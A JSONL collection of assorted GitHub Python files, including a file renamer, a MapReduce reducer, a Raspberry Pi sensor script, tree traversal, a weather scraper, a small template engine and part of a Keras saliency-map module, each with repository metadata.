+{"seq_id":"21148210120","text":"#This script asks for a directory and then adds a pre or suffix to each filename in that directory.\n\nimport os\n\n#https://stackoverflow.com/questions/9727673/list-directory-tree-structure-in-python\nfor root, dirs, files in os.walk('.'):\n\tlevel = root.replace('.', '').count(os.sep)\n\tindent = ' ' * 4 * (level)\n\tprint('{}{}/'.format(indent, os.path.basename(root)))\n\tsubindent = ' ' * 4 * (level + 1)\n\tfor f in files:\n\t\tprint('{}{}'.format(subindent, f))\n\nwhile True:\n\tprint('')\n\tprint('The target needs to be a directory and the input needs to be given relative to the directory which this script is in.')\n\tprint('The current directory is \"'+os.getcwd()+'\\\\\".')\n\ttarget='.\\\\'+input('Name target directory: ')\n\tprint('Target is: \"'+target+'\".')\n\t\n\tif os.path.isdir(target):\n\t\tbreak\n\telse:\n\t\tprint('Not a directory.')\n\nwhile True:\n\tprint('')\n\tPreOrSuf=input('Do you want a prefix or a suffix? Anwser \"pre\" or \"suf\":').lower()\n\t\n\tif (PreOrSuf=='pre' or PreOrSuf=='suf') and (input('Anwser is \"'+PreOrSuf+'\". Correct? (Y/N): ')=='Y'):\n\t\tbreak\n\nif PreOrSuf=='suf':\n\twhile True:\n\t\tprint('')\n\t\tKeepExt=input('Do you want to keep the file extention? (Y/N): ')\n\t\t\n\t\tif (KeepExt=='Y' or KeepExt=='N') and (input('Anwser is \"'+KeepExt+'\". Correct? (Y/N): ')=='Y'):\n\t\t\tbreak\n\nwhile True:\n\tprint('')\n\ttext=input('What should the '+PreOrSuf+'fix be?: ')\n\t\n\tif input('The '+PreOrSuf+'fix is \"'+text+'\". Correct? (Y/N): ')=='Y':\n\t\tbreak\n\nfor filename in os.listdir(target):\n\t#https://stackoverflow.com/questions/2759067/rename-multiple-files-in-a-directory-in-python\n\t#https://stackoverflow.com/questions/225735/batch-renaming-of-files-in-a-directory\n\tif PreOrSuf=='pre':\n\t\tos.rename(os.path.join(target, filename), os.path.join(target,text+filename))\n\telif PreOrSuf=='suf' and KeepExt=='Y':\n\t\tExt=os.path.splitext(os.path.join(target, filename))[1]#https://stackoverflow.com/questions/541390/extracting-extension-from-filename-in-python\n\t\tos.rename(os.path.join(target, filename), os.path.join(target,filename[:-len(Ext)]+text+Ext))\n\telif PreOrSuf=='suf' and KeepExt=='N':\n\t\tExt=os.path.splitext(os.path.join(target, filename))[1]\n\t\tos.rename(os.path.join(target, filename), os.path.join(target,filename[:-len(Ext)]+text))\n\nprint('Done.')\n","repo_name":"TimHeiszwolf/Heis_Python_Tools","sub_path":"PreSufFix.py","file_name":"PreSufFix.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"13204588925","text":"#!/usr/bin/python3\nimport sys\n\nlines = sys.stdin.readlines()\n# print(lines)\n# print(len(lines))\n\n# curr_i = 0\n# curr_j = 0\n# temp_ans = 0\n\ncurr_i, curr_j = 0, 0\ntemp_ans = 0\nstep = 2\nflag = True\n\nfor k in range(0, len(lines), step):\n    # print(lines[k])\n    # print(lines[k+1])\n    val1 = int(lines[k].strip().split()[3])\n    val2 = int(lines[k+1].strip().split()[3])\n    # print([val1, val2])\n\n    item_list = lines[k+1].strip().split()\n    i = (int)(item_list[0])\n    j = (int)(item_list[1])\n    pos = (int)(item_list[2])\n    value = (int)(item_list[3])\n\n    # print([i,j,pos,value])\n\n    # i, j, pos, val = list(map(int,lines[k+1].strip().split()))\n\n    if (i == curr_i and j == curr_j):\n        temp_ans += val1*val2\n    else:\n        if (flag == True):\n            print(temp_ans, end=\"\")\n            flag = False\n        else:\n            print(\" \", end = \"\")\n            print(temp_ans, end = \"\")\n        # print(temp_ans, end = \" \")\n        temp_ans = 0\n        temp_ans = val1*val2\n        if i != curr_i:\n            flag = True\n            c = 0\n            print()\n        curr_i, curr_j = i, j\nif (flag == True):\n    print(temp_ans, end=\"\")\nelse:\n    print(\" \", end = \"\")\n    print(temp_ans, end=\"\")\n# print(temp_ans)\n","repo_name":"RajaSudipta/Distributed-Systems-S23CS3.401-DS-IIITH","sub_path":"Assignments/A2/q2/reducer.py","file_name":"reducer.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"73115858295","text":"#!/usr/bin/python3\n\n''' Task 8.1D - Raspberry Pi I2C\n\n    Student ID:     219011171\n    Student Name:   Peter Stacey\n'''\n\nfrom signal import signal, SIGTERM, SIGHUP, pause\nfrom time import sleep\nfrom threading import Thread\nfrom gpiozero import DistanceSensor\nfrom rpi_lcd import LCD\n\n\nrunning = True\nmessage = \"\"\n\nlcd = LCD()\nsensor = DistanceSensor(echo=20, trigger=21)\n\ndef safe_exit():\n    exit(1)\n\ndef read_distance():\n    global message\n    while running:\n        message = f'Distance: {sensor.value:1.2f} m'\n        print(message)\n        sleep(0.1)\n\ndef update_display():\n    global message\n    while running:\n        lcd.text(message, 1)\n        sleep(0.25)\n\ndef main():\n    try:\n        signal(SIGTERM, safe_exit)\n        signal(SIGHUP, safe_exit)\n        reader = Thread(target=read_distance, daemon=True)\n        display = Thread(target=update_display, daemon=True)\n        reader.start()\n        display.start()\n        pause()\n    except KeyboardInterrupt:\n        pass\n    finally:\n        global running\n        running = False\n        reader.join()\n        display.join()\n        lcd.clear()\n        sensor.close()\n\nif __name__ == '__main__':\n    main()\n    ","repo_name":"pscompsci/SIT210_Embedded_Programming","sub_path":"Task_8_1D/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"75072045175","text":"class Node:\r\n    def __init__(self, data):\r\n        self.left = None\r\n        self.data = data                  # self.data = None because create an object at a time None arguments passed in constructor\r\n        self.right = None\r\n\r\n    def createTree(self, val):\r\n        if self.data is None:\r\n            self.data = val\r\n            return\r\n\r\n        elif self.data == val:\r\n            return\r\n\r\n        elif self.data > val:\r\n            if self.left:\r\n                self.left.createTree(val)         # the address of self.left transfer to self !\r\n            else:\r\n                self.left = Node(val)\r\n\r\n        elif self.data < val:\r\n            if self.right:\r\n                self.right.createTree(val)           # the address of self.right transfer to self !\r\n            else:\r\n                self.right = Node(val)\r\n\r\n    # Level-Order-Traversal (In use BFS(Breadth First Search))\r\n    def levelOrder(self):\r\n        self.level = 1             # declare a level of tree\r\n        Queue = []                 # here, it is Queue\r\n        Queue.append(self)         # Queue is stored first root node address at 0 index\r\n        Queue.append(None)         # Queue is stored is None at 1 index ---> [self,None]\r\n\r\n        while Queue != []:         # here, it is check your queue is empty or not\r\n            key = Queue.pop(0)      # here, it's remove element at index 0 and to store a key variable\r\n            if key is not None:       # here, it's key is not None because key is stored a root address\r\n                print(f\"Level - {self.level} => {key.data}\")\r\n\r\n                if key.left is not None:\r\n                    Queue.append(key.left)\r\n                if key.right is not None:\r\n                    Queue.append(key.right)\r\n\r\n            else:\r\n                print()    # here, it's used to newline\r\n                self.level += 1\r\n                if Queue == []:   # here, it's Queue is none as --- []\r\n                    break\r\n                else:\r\n                    Queue.append(None)      # here, it's Queue is stored is None ---> [None]\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    Queue = []\r\n    root = Node(None)\r\n    while True:\r\n        num = int(input(\"\\n Enter the node into Tree : \"))\r\n        if num < 0:\r\n            break\r\n        else:\r\n            root.createTree(num)\r\n    root.levelOrder()\r\n\r\n''' Here, it is Called Breadth First Search (BFS) Algorithms in used Tree '''\r\n\r\n# ---------------- Written By : - Aditya Pratap Singh ------------------\r\n","repo_name":"git-aditya-pratap-singh/Data-Structure-with-Python","sub_path":"Tree/Level-Order-Traversal.py","file_name":"Level-Order-Traversal.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"39178126027","text":"#coding:utf-8\n\n# 3种抓取网页数据的方法: re, BeautifulSoup,lxml\n\n\n# 链接爬虫添加缓存支持\n\nclass Downloader(object):\n\t\"\"\"docstring for Downloader\"\"\"\n\tdef __init__(self, delay=5,\n\t\tuser_agent=\"wswp\",proxies=None,\n\t\tnumRetries=1,cache=None):\n\n\t\tsuper(Downloader, self).__init__()\n\t\tself.throttle = Throttle(delay)\n\t\tself.user_agent = user_agent\n\t\tself.proxies = proxies\n\t\tself.numRetries = numRetries\n\t\tself.cache = cache\n\n\tdef __call__(self):\n\t\tresult = None\n\t\tif self.cache:\n\t\t\ttry:\n\t\t\t\tresult = self.cache[url]\n\t\t\texcept KeyError as e:\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tif self.numRetries >0 and 500<= result['code'] <600:\n\t\t\t\t\tresult = None\n\n\t\tif result is None:\n\t\t\tself.throttle.wait(url)\n\n\n\t\t","repo_name":"wudibbs-gcl/crawling","sub_path":"test4.py","file_name":"test4.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25536807937","text":"import requests\nimport json\nfrom bs4 import BeautifulSoup\n\nsend_url = \"http://api.ipstack.com/check?access_key={<key>}\"\ngeo_req = requests.get(send_url)\ngeo_json = json.loads(geo_req.text)\ncity = geo_json['city']\n\nprint(city)\n\n# creating url and requests instance\nurl = \"https://www.google.com/search?hl=en&q=\"+\"weather\"+city+\"&oq=\"+\"weather\"+city\nhtml = requests.get(url).content\n \n# getting raw data\nsoup = BeautifulSoup(html, 'html.parser')\ntemp = soup.find('div', attrs={'class': 'BNeawe iBp4i AP7Wnd'}).text\nstr = soup.find('div', attrs={'class': 'BNeawe tAd8D AP7Wnd'}).text\n \n# formatting data\ndata = str.split('\\n')\ntime = data[0]\nsky = data[1]\n \n# getting all div tag\nlistdiv = soup.findAll('div', attrs={'class': 'BNeawe s3v9rd AP7Wnd'})\nstrd = listdiv[5].text\n \n# getting other required data\npos = strd.find('Wind')\nother_data = strd[pos:]\n \n# printing all data\nprint(\"Temperature is\", temp)\nprint(\"Time: \", time)\nprint(\"Sky Description: \", sky)","repo_name":"NishantNepal1/musicRecommendationusingMetadata","sub_path":"spotifyScraper/weatherTime.py","file_name":"weatherTime.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"11080737177","text":"\"\"\"\nShopping List Calculator I\n\"\"\"\n\n# Create five variables,\n# set them to strings that represent 5 common shopping list items\n\n\nitem_name_1 = \"almond milk\"\nitem_name_2 = \"coffee\"\nitem_name_3 = \"bananas\"\nitem_name_4 = \"oatmeal\"\nitem_name_5 = \"eggs\"\n\n# Create five more variables,\n# set them to floats that represent the prices of each of the items above\n\nitem_price_1 = 3.50\nitem_price_2 = 9.00\nitem_price_3 = 2.50\nitem_price_4 = 4.00\nitem_price_5 = 2.50\n\n# Create five more variables,\n# set them to ints that represent the quantity of each of the items above\nitem_quant_1 = 1\nitem_quant_2 = 1\nitem_quant_3 = 6\nitem_quant_4 = 1\nitem_quant_5 = 12\n\n# Print to the console the name and price of each item defined above as follows:\n# 1 Coco Puffs = $8.95.\n# where:\n# 1 would be item_quant_1\n# Coco Puffs would be item_name_1\n# 8.95 would be item_name_2\n\nprint(f\"{item_quant_1} {item_name_1} is ${item_price_1}.\")\nprint(f\"{item_quant_2} {item_name_2} is ${item_price_2}.\")\nprint(f\"{item_quant_3} {item_name_3} is ${item_price_3}.\")\nprint(f\"{item_quant_4} {item_name_4} is ${item_price_4}.\")\nprint(f\"{item_quant_5} {item_name_5} is ${item_price_5}.\")\n","repo_name":"melissaarliss/python-course","sub_path":"hw/hw-1/pset_basic_data_types/shopping_list/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7016510409","text":"from enum import Enum\n\nimport sys\nimport os\n\n\nclass TempliteCompiler:\n    class State(Enum):\n        TEXT = 1\n        CONTROL = 2\n        VARIABLE = 3\n\n    def __init__(self, source: str, encoding: str):\n        self.blocks = [f\"# -*- coding: {encoding} -*-\"]\n        self.block = \"\"\n        self.source = source\n        self.cursor = 0\n        self.offset = 0\n\n    def processText(self):\n        self.block = self.block.replace(\"\\\\\", \"\\\\\\\\\").replace('\"', '\\\\\"')\n        self.block = \"\\t\" * self.offset + f'write(\"\"\"{self.block}\"\"\")'\n        self.blocks.append(self.block)\n        self.block = \"\"\n\n    def getLine(self):\n        return self.source[: self.cursor].count(\"\\n\") + 1\n\n    def controlIsEnding(self):\n        block_stripped = self.block.lstrip()\n        if block_stripped.startswith(\":\"):\n            if not self.offset:\n                raise SyntaxError(\n                    f\"Line: {self.getLine()}, no statement to terminate: `{block_stripped}`\"\n                )\n            self.offset -= 1\n            self.block = block_stripped[1:]\n            if not self.block.endswith(\":\"):\n                return True\n        return False\n\n    def processControl(self):\n        self.block = self.block.rstrip()\n\n        if self.controlIsEnding():\n            self.block = \"\"\n            return\n\n        lines = self.block.splitlines()\n        margin = min(len(line) - len(line.lstrip()) for line in lines if line.strip())\n        self.block = \"\\n\".join(\"\\t\" * self.offset + line[margin:] for line in lines)\n        self.blocks.append(self.block)\n        if self.block.endswith(\":\"):\n            self.offset += 1\n        self.block = \"\"\n\n    def processVariable(self):\n        self.block = self.block.strip()\n        self.block = \"\\t\" * self.offset + f\"write({self.block})\"\n        self.blocks.append(self.block)\n        self.block = \"\"\n\n    def compile(self):\n        state = self.State.TEXT\n\n        # Process template source\n        while self.cursor < len(self.source):\n            # Process plain text till first token occurance\n            if state == self.State.TEXT:\n                if self.source[self.cursor :].startswith(\"{%\"):\n                    state = self.State.CONTROL\n                    self.cursor += 1\n                elif self.source[self.cursor :].startswith(\"{{\"):\n                    state = self.State.VARIABLE\n                    self.cursor += 1\n                else:\n                    self.block += self.source[self.cursor]\n                # Commit self.block if token was found\n                if state != self.State.TEXT:\n                    self.processText()\n            elif state == self.State.CONTROL:\n                if self.source[self.cursor :].startswith(\"%}\"):\n                    self.cursor += 1\n                    state = self.State.TEXT\n                    self.processControl()\n                else:\n                    self.block += self.source[self.cursor]\n            elif state == self.State.VARIABLE:\n                if self.source[self.cursor :].startswith(\"}}\"):\n                    self.cursor += 1\n                    state = self.State.TEXT\n                    self.processVariable()\n                else:\n                    self.block += self.source[self.cursor]\n            else:\n                raise Exception(\"Unknown State\")\n\n            self.cursor += 1\n\n        if state != self.State.TEXT:\n            raise Exception(\"Last self.block was not closed\")\n\n        if self.block:\n            self.processText()\n\n        return \"\\n\".join(self.blocks)\n\n\nclass Templite:\n    cache = {}\n\n    def __init__(self, text=None, filename=None, encoding=\"utf-8\", caching=False):\n        \"\"\"Loads a template from string or file.\"\"\"\n        if filename:\n            filename = os.path.abspath(filename)\n            mtime = os.path.getmtime(filename)\n            self.file = key = filename\n        elif text is not None:\n            self.file = mtime = None\n            key = hash(text)\n        else:\n            raise ValueError(\"either text or filename required\")\n        # set attributes\n        self.encoding = encoding\n        self.caching = caching\n        # check cache\n        cache = self.cache\n        if caching and key in cache and cache[key][0] == mtime:\n            self._code = cache[key][1]\n            return\n        # read file\n        if filename:\n            with open(filename) as fh:\n                text = fh.read()\n        # Compile template to executable\n        code = TempliteCompiler(text, self.encoding).compile()\n        self._code = compile(code, self.file or \"<string>\", \"exec\")\n        # Cache for future use\n        if caching:\n            cache[key] = (mtime, self._code)\n\n    def render(self, **namespace):\n        \"\"\"Renders the template according to the given namespace.\"\"\"\n        stack = []\n        namespace[\"__file__\"] = self.file\n\n        # add write method\n        def write(*args):\n            for value in args:\n                stack.append(str(value))\n\n        namespace[\"write\"] = write\n\n        # add include method\n        def include(file):\n            if not os.path.isabs(file):\n                if self.file:\n                    base = os.path.dirname(self.file)\n                else:\n                    base = os.path.dirname(sys.argv[0])\n                file = os.path.join(base, file)\n            t = Templite(None, file, self.encoding, self.delimiters, self.caching)\n            stack.append(t.render(**namespace))\n\n        namespace[\"include\"] = include\n        # execute template code\n        exec(self._code, namespace)\n        return \"\".join(stack)\n","repo_name":"DarkFlippers/unleashed-firmware","sub_path":"scripts/flipper/utils/templite.py","file_name":"templite.py","file_ext":"py","file_size_in_byte":5565,"program_lang":"python","lang":"en","doc_type":"code","stars":12119,"dataset":"github-code","pt":"22"}
+{"seq_id":"72348213496","text":"\"\"\"Methods for creating saliency maps.\"\"\"\n\nimport pickle\nimport numpy\nfrom keras import backend as K\nfrom gewittergefahr.gg_utils import file_system_utils\nfrom gewittergefahr.gg_utils import error_checking\nfrom gewittergefahr.deep_learning import model_interpretation\n\nTOLERANCE = 1e-6\nDEFAULT_IDEAL_ACTIVATION = 2.\n\nPREDICTOR_MATRICES_KEY = model_interpretation.PREDICTOR_MATRICES_KEY\nSALIENCY_MATRICES_KEY = 'saliency_matrices'\nMODEL_FILE_KEY = model_interpretation.MODEL_FILE_KEY\nFULL_STORM_IDS_KEY = model_interpretation.FULL_STORM_IDS_KEY\nSTORM_TIMES_KEY = model_interpretation.STORM_TIMES_KEY\nCOMPONENT_TYPE_KEY = 'component_type_string'\nTARGET_CLASS_KEY = 'target_class'\nLAYER_NAME_KEY = 'layer_name'\nIDEAL_ACTIVATION_KEY = 'ideal_activation'\nNEURON_INDICES_KEY = 'neuron_indices'\nCHANNEL_INDEX_KEY = 'channel_index'\nSOUNDING_PRESSURES_KEY = model_interpretation.SOUNDING_PRESSURES_KEY\n\nSTANDARD_FILE_KEYS = [\n    PREDICTOR_MATRICES_KEY, SALIENCY_MATRICES_KEY,\n    FULL_STORM_IDS_KEY, STORM_TIMES_KEY, MODEL_FILE_KEY,\n    COMPONENT_TYPE_KEY, TARGET_CLASS_KEY, LAYER_NAME_KEY, IDEAL_ACTIVATION_KEY,\n    NEURON_INDICES_KEY, CHANNEL_INDEX_KEY,\n    SOUNDING_PRESSURES_KEY\n]\n\nMEAN_PREDICTOR_MATRICES_KEY = model_interpretation.MEAN_PREDICTOR_MATRICES_KEY\nMEAN_SALIENCY_MATRICES_KEY = 'mean_saliency_matrices'\nNON_PMM_FILE_KEY = model_interpretation.NON_PMM_FILE_KEY\nPMM_MAX_PERCENTILE_KEY = model_interpretation.PMM_MAX_PERCENTILE_KEY\nMEAN_SOUNDING_PRESSURES_KEY = model_interpretation.MEAN_SOUNDING_PRESSURES_KEY\n\nPMM_FILE_KEYS = [\n    MEAN_PREDICTOR_MATRICES_KEY, MEAN_SALIENCY_MATRICES_KEY, MODEL_FILE_KEY,\n    NON_PMM_FILE_KEY, PMM_MAX_PERCENTILE_KEY, MEAN_SOUNDING_PRESSURES_KEY\n]\n\n\ndef _check_in_and_out_matrices(\n        predictor_matrices, num_examples=None, saliency_matrices=None):\n    \"\"\"Error-checks input and output matrices.\n\n    T = number of input tensors to the model\n    E = number of examples (storm objects)\n\n    :param predictor_matrices: length-T list of predictor matrices.  Each item\n        must be a numpy array.\n    :param num_examples: E in the above discussion.  The first axis of each\n        array must have length E.  If you don't know the number of examples,\n        leave this as None.\n    :param saliency_matrices: Same as `predictor_matrices` but with saliency\n        values.\n    :raises: ValueError: if `predictor_matrices` and `saliency_matrices` have\n        different lengths.\n    \"\"\"\n\n    error_checking.assert_is_list(predictor_matrices)\n    num_matrices = len(predictor_matrices)\n\n    if saliency_matrices is None:\n        saliency_matrices = [None] * num_matrices\n\n    error_checking.assert_is_list(saliency_matrices)\n    num_saliency_matrices = len(saliency_matrices)\n\n    if num_matrices != num_saliency_matrices:\n        error_string = (\n            'Number of predictor matrices ({0:d}) should = number of saliency '\n            'matrices ({1:d}).'\n        ).format(num_matrices, num_saliency_matrices)\n\n        raise ValueError(error_string)\n\n    for i in range(num_matrices):\n        error_checking.assert_is_numpy_array_without_nan(predictor_matrices[i])\n\n        if num_examples is not None:\n            these_expected_dim = numpy.array(\n                (num_examples,) + predictor_matrices[i].shape[1:], dtype=int\n            )\n            error_checking.assert_is_numpy_array(\n                predictor_matrices[i], exact_dimensions=these_expected_dim\n            )\n\n        if saliency_matrices[i] is not None:\n            error_checking.assert_is_numpy_array_without_nan(\n                saliency_matrices[i]\n            )\n\n            these_expected_dim = numpy.array(\n                predictor_matrices[i].shape, dtype=int\n            )\n            error_checking.assert_is_numpy_array(\n                saliency_matrices[i], exact_dimensions=these_expected_dim\n            )\n\n\ndef check_metadata(\n        component_type_string, target_class=None, layer_name=None,\n        ideal_activation=None, neuron_indices=None, channel_index=None):\n    \"\"\"Error-checks metadata for saliency calculations.\n\n    :param component_type_string: Component type (must be accepted by\n        `model_interpretation.check_component_type`).\n    :param target_class: See doc for `get_saliency_maps_for_class_activation`.\n    :param layer_name: See doc for `get_saliency_maps_for_neuron_activation` or\n        `get_saliency_maps_for_channel_activation`.\n    :param ideal_activation: Same.\n    :param neuron_indices: See doc for\n        `get_saliency_maps_for_neuron_activation`.\n    :param channel_index: See doc for `get_saliency_maps_for_class_activation`.\n\n    :return: metadata_dict: Dictionary with the following keys.\n    metadata_dict['component_type_string']: See input doc.\n    metadata_dict['target_class']: Same.\n    metadata_dict['layer_name']: Same.\n    metadata_dict['ideal_activation']: Same.\n    metadata_dict['neuron_indices']: Same.\n    metadata_dict['channel_index']: Same.\n    \"\"\"\n\n    model_interpretation.check_component_type(component_type_string)\n\n    if (component_type_string ==\n            model_interpretation.CLASS_COMPONENT_TYPE_STRING):\n        error_checking.assert_is_integer(target_class)\n        error_checking.assert_is_geq(target_class, 0)\n\n    if component_type_string in [\n            model_interpretation.NEURON_COMPONENT_TYPE_STRING,\n            model_interpretation.CHANNEL_COMPONENT_TYPE_STRING\n    ]:\n        error_checking.assert_is_string(layer_name)\n        if ideal_activation is not None:\n            error_checking.assert_is_greater(ideal_activation, 0.)\n\n    if (component_type_string ==\n            model_interpretation.NEURON_COMPONENT_TYPE_STRING):\n        error_checking.assert_is_integer_numpy_array(neuron_indices)\n        error_checking.assert_is_geq_numpy_array(neuron_indices, 0)\n        error_checking.assert_is_numpy_array(neuron_indices, num_dimensions=1)\n\n    if (component_type_string ==\n            model_interpretation.CHANNEL_COMPONENT_TYPE_STRING):\n        error_checking.assert_is_integer(channel_index)\n        error_checking.assert_is_geq(channel_index, 0)\n\n    return {\n        COMPONENT_TYPE_KEY: component_type_string,\n        TARGET_CLASS_KEY: target_class,\n        LAYER_NAME_KEY: layer_name,\n        IDEAL_ACTIVATION_KEY: ideal_activation,\n        NEURON_INDICES_KEY: neuron_indices,\n        CHANNEL_INDEX_KEY: channel_index\n    }\n\n\ndef do_saliency_calculations(\n        model_object, loss_tensor, list_of_input_matrices):\n    \"\"\"Does saliency calculations.\n\n    T = number of input tensors to the model\n    E = number of examples (storm objects)\n\n    :param model_object: Instance of `keras.models.Model`.\n    :param loss_tensor: Keras tensor defining the loss function.\n    :param list_of_input_matrices: length-T list of numpy arrays, comprising one\n        or more examples (storm objects).  list_of_input_matrices[i] must have\n        the same dimensions as the [i]th input tensor to the model.\n    :return: list_of_saliency_matrices: length-T list of numpy arrays,\n        comprising the saliency map for each example.\n        list_of_saliency_matrices[i] has the same dimensions as\n        list_of_input_matrices[i] and defines the \"saliency\" of each value x,\n        which is the gradient of the loss function with respect to x.\n    \"\"\"\n\n    if isinstance(model_object.input, list):\n        list_of_input_tensors = model_object.input\n    else:\n        list_of_input_tensors = [model_object.input]\n\n    list_of_gradient_tensors = K.gradients(loss_tensor, list_of_input_tensors)\n    num_input_tensors = len(list_of_input_tensors)\n\n    for i in range(num_input_tensors):\n        list_of_gradient_tensors[i] /= K.maximum(\n            K.std(list_of_gradient_tensors[i]), K.epsilon()\n        )\n\n    inputs_to_gradients_function = K.function(\n        list_of_input_tensors + [K.learning_phase()], list_of_gradient_tensors\n    )\n\n    # list_of_saliency_matrices = None\n    # num_examples = list_of_input_matrices[0].shape[0]\n    #\n    # for i in range(num_examples):\n    #     these_input_matrices = [a[[i], ...] for a in list_of_input_matrices]\n    #     these_saliency_matrices = inputs_to_gradients_function(\n    #         these_input_matrices + [0])\n    #\n    #     if list_of_saliency_matrices is None:\n    #         list_of_saliency_matrices = these_saliency_matrices + []\n    #     else:\n    #         for i in range(num_input_tensors):\n    #             list_of_saliency_matrices[i] = numpy.concatenate(\n    #                 (list_of_saliency_matrices[i], these_saliency_matrices[i]),\n    #                 axis=0)\n\n    list_of_saliency_matrices = inputs_to_gradients_function(\n        list_of_input_matrices + [0]\n    )\n\n    for i in range(num_input_tensors):\n        list_of_saliency_matrices[i] *= -1\n\n    return list_of_saliency_matrices\n\n\ndef get_saliency_maps_for_class_activation(\n        model_object, target_class, list_of_input_matrices):\n    \"\"\"For each input example, creates saliency map for prob of target class.\n\n    :param model_object: Instance of `keras.models.Model`.\n    :param target_class: Saliency maps will be created for this class.  Must be\n        an integer in 0...(K - 1), where K = number of classes.\n    :param list_of_input_matrices: See doc for `do_saliency_calculations`.\n    :return: list_of_saliency_matrices: See doc for `do_saliency_calculations`.\n    \"\"\"\n\n    check_metadata(\n        component_type_string=model_interpretation.CLASS_COMPONENT_TYPE_STRING,\n        target_class=target_class)\n\n    num_output_neurons = model_object.layers[-1].output.get_shape().as_list()[\n        -1]\n\n    if num_output_neurons == 1:\n        error_checking.assert_is_leq(target_class, 1)\n        if target_class == 1:\n            loss_tensor = K.mean(\n                (model_object.layers[-1].output[..., 0] - 1) ** 2\n            )\n        else:\n            loss_tensor = K.mean(model_object.layers[-1].output[..., 0] ** 2)\n    else:\n        error_checking.assert_is_less_than(target_class, num_output_neurons)\n        loss_tensor = K.mean(\n            (model_object.layers[-1].output[..., target_class] - 1) ** 2\n        )\n\n    return do_saliency_calculations(\n        model_object=model_object, loss_tensor=loss_tensor,\n        list_of_input_matrices=list_of_input_matrices)\n\n\ndef get_saliency_maps_for_neuron_activation(\n        model_object, layer_name, neuron_indices, list_of_input_matrices,\n        ideal_activation=DEFAULT_IDEAL_ACTIVATION):\n    \"\"\"For each input example, creates saliency map for activatn of one neuron.\n\n    :param model_object: Instance of `keras.models.Model`.\n    :param layer_name: Name of layer containing the relevant neuron.\n    :param neuron_indices: 1-D numpy array with indices of the relevant neuron.\n        Must have length K - 1, where K = number of dimensions in layer output.\n        The first dimension of the layer output is the example dimension, for\n        which the index in this case is always 0.\n    :param list_of_input_matrices: See doc for `do_saliency_calculations`.\n    :param ideal_activation: The loss function will be\n        (neuron_activation - ideal_activation)** 2.  If\n        `ideal_activation is None`, the loss function will be\n        -sign(neuron_activation) * neuron_activation**2, or the negative signed\n        square of neuron_activation, so that loss always decreases as\n        neuron_activation increases.\n    :return: list_of_saliency_matrices: See doc for `do_saliency_calculations`.\n    \"\"\"\n\n    check_metadata(\n        component_type_string=model_interpretation.NEURON_COMPONENT_TYPE_STRING,\n        layer_name=layer_name, ideal_activation=ideal_activation,\n        neuron_indices=neuron_indices)\n\n    if ideal_activation is None:\n        loss_tensor = (\n            -K.sign(\n                model_object.get_layer(name=layer_name).output[\n                    0, ..., neuron_indices\n                ]\n            )\n            * model_object.get_layer(name=layer_name).output[\n                0, ..., neuron_indices\n            ] ** 2\n        )\n    else:\n        loss_tensor = (\n            model_object.get_layer(name=layer_name).output[\n                0, ..., neuron_indices\n            ]\n            - ideal_activation\n        ) ** 2\n\n    return do_saliency_calculations(\n        model_object=model_object, loss_tensor=loss_tensor,\n        list_of_input_matrices=list_of_input_matrices)\n\n\ndef get_saliency_maps_for_channel_activation(\n        model_object, layer_name, channel_index, list_of_input_matrices,\n        stat_function_for_neuron_activations,\n        ideal_activation=DEFAULT_IDEAL_ACTIVATION):\n    \"\"\"For each input example, creates saliency map for activatn of one channel.\n\n    :param model_object: Instance of `keras.models.Model`.\n    :param layer_name: Name of layer containing the relevant channel.\n    :param channel_index: Index of the relevant channel.  This method creates\n        saliency maps for the [j]th output channel of `layer_name`, where\n        j = `channel_index`.\n    :param list_of_input_matrices: See doc for `do_saliency_calculations`.\n    :param stat_function_for_neuron_activations: Function used to process neuron\n        activations.  In general, a channel contains many neurons, so there is\n        an infinite number of ways to maximize the \"channel activation,\" because\n        there is an infinite number of ways to define \"channel activation\".\n        This function must take a Keras tensor (containing neuron activations)\n        and return a single number.  Some examples are `keras.backend.max` and\n        `keras.backend.mean`.\n    :param ideal_activation: See doc for\n        `get_saliency_maps_for_neuron_activation`.\n    :return: list_of_saliency_matrices: See doc for `do_saliency_calculations`.\n    \"\"\"\n\n    check_metadata(\n        component_type_string=\n        model_interpretation.CHANNEL_COMPONENT_TYPE_STRING,\n        layer_name=layer_name, ideal_activation=ideal_activation,\n        channel_index=channel_index\n    )\n\n    if ideal_activation is None:\n        loss_tensor = -K.abs(stat_function_for_neuron_activations(\n            model_object.get_layer(name=layer_name).output[\n                0, ..., channel_index\n            ]\n        ))\n    else:\n        error_checking.assert_is_greater(ideal_activation, 0.)\n        loss_tensor = K.abs(\n            stat_function_for_neuron_activations(\n                model_object.get_layer(name=layer_name).output[\n                    0, ..., channel_index]\n            )\n            - ideal_activation\n        )\n\n    return do_saliency_calculations(\n        model_object=model_object, loss_tensor=loss_tensor,\n        list_of_input_matrices=list_of_input_matrices)\n\n\ndef write_standard_file(\n        pickle_file_name, denorm_predictor_matrices, saliency_matrices,\n        full_storm_id_strings, storm_times_unix_sec, model_file_name,\n        metadata_dict, sounding_pressure_matrix_pa=None):\n    \"\"\"Writes saliency maps (one per storm object) to Pickle file.\n\n    E = number of examples (storm objects)\n    H = number of sounding heights\n\n    :param pickle_file_name: Path to output file.\n    :param denorm_predictor_matrices: See doc for `_check_in_and_out_matrices`.\n    :param saliency_matrices: Same.\n    :param full_storm_id_strings: length-E list of storm IDs.\n    :param storm_times_unix_sec: length-E numpy array of storm times.\n    :param model_file_name: Path to model that created saliency maps (readable\n        by 